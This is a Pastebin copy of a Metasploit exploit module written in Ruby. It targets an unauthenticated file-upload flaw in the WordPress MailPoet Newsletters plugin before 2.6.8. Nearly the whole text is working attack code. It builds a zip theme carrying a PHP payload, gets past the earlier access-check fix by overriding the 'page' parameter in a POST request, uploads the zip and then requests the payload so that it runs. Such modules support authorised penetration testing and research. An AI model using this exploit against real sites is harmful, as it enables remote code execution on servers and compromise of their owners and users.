amiralbenz

wp_wysija_newsletters_upload.rb

Aug 30th, 2015
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 4.75 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7.  
  8. class Metasploit3 < Msf::Exploit::Remote
  9.   Rank = ExcellentRanking
  10.  
  11.   include Msf::HTTP::Wordpress
  12.   include Msf::Exploit::FileDropper
  13.  
  14.   def initialize(info = {})
  15.     super(update_info(
  16.       info,
  17.       'Name'           => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
  18.       'Description'    => %q{
  19.           The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
  20.           is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
  21.           functionality to upload a zip file containing the payload. The plugin uses the
  22.           admin_init hook, which is also executed for unauthenticated users when accessing
  23.           a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
  24.           but the fix can be bypassed. In PHP's default configuration,
  25.          a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
  26.          uses $_REQUEST to check for access rights. By setting the POST parameter to
  27.          something not beginning with 'wysija_', the check is bypassed. Wordpress uses
  28.          the $_GET array to determine the page, so it is not affected by this. The developers
  29.          applied the fixes to all previous versions too.
  30.      },
  31.      'Author'         =>
  32.        [
  33.          'Marc-Alexandre Montpas', # initial discovery
  34.          'Christian Mehlmauer'     # metasploit module
  35.        ],
  36.      'License'        => MSF_LICENSE,
  37.      'References'     =>
  38.        [
  39.          ['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
  40.          ['URL', 'http://www.mailpoet.com/security-update-part-2/'],
  41.          ['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'],
  42.          ['WPVDB', '6680']
  43.        ],
  44.      'Privileged'     => false,
  45.      'Platform'       => ['php'],
  46.      'Arch'           => ARCH_PHP,
  47.      'Targets'        => [['wysija-newsletters < 2.6.8', {}]],
  48.      'DefaultTarget'  => 0,
  49.      'DisclosureDate' => 'Jul 1 2014'))
  50.  end
  51.  
  52.  def create_zip_file(theme_name, payload_name)
  53.    # the zip file must match the following:
  54.    #  -) Exactly one folder representing the theme name
  55.    #  -) A style.css in the theme folder
  56.    #  -) Additional files in the folder
  57.  
  58.    content = {
  59.      ::File.join(theme_name, 'style.css') => '',
  60.      ::File.join(theme_name, payload_name) => payload.encoded
  61.    }
  62.  
  63.    zip_file = Rex::Zip::Archive.new
  64.    content.each_pair do |name, con|
  65.      zip_file.add_file(name, con)
  66.    end
  67.  
  68.    zip_file.pack
  69.  end
  70.  
  71.  def check
  72.    check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
  73.  end
  74.  
  75.  def exploit
  76.    theme_name = rand_text_alpha(10)
  77.    payload_name = "#{rand_text_alpha(10)}.php"
  78.  
  79.    zip_content = create_zip_file(theme_name, payload_name)
  80.  
  81.    data = Rex::MIME::Message.new
  82.    data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
  83.    data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
  84.    data.add_part('themeupload', nil, nil, 'form-data; name="action"')
  85.    data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
  86.    # this line bypasses the check implemented in version 2.6.7
  87.    data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
  88.    post_data = data.to_s
  89.  
  90.    payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
  91.  
  92.    print_status("#{peer} - Uploading payload to #{payload_uri}")
  93.    res = send_request_cgi(
  94.      'method'   => 'POST',
  95.      'uri'      => wordpress_url_admin_post,
  96.      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
  97.      'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
  98.      'data'     => post_data
  99.    )
  100.  
  101.    if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
  102.      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
  103.    end
  104.  
  105.    # Files to cleanup (session is dropped in the created folder):
  106.    #   style.css
  107.    #   the payload
  108.    #   the theme folder (manual cleanup)
  109.    register_files_for_cleanup('style.css', payload_name)
  110.  
  111.    print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
  112.  
  113.    print_status("#{peer} - Executing payload #{payload_uri}")
  114.    send_request_cgi(
  115.      'uri'    => payload_uri,
  116.      'method' => 'GET'
  117.    )
  118.  end
  119. end
Advertisement
Add Comment
Please, Sign In to add comment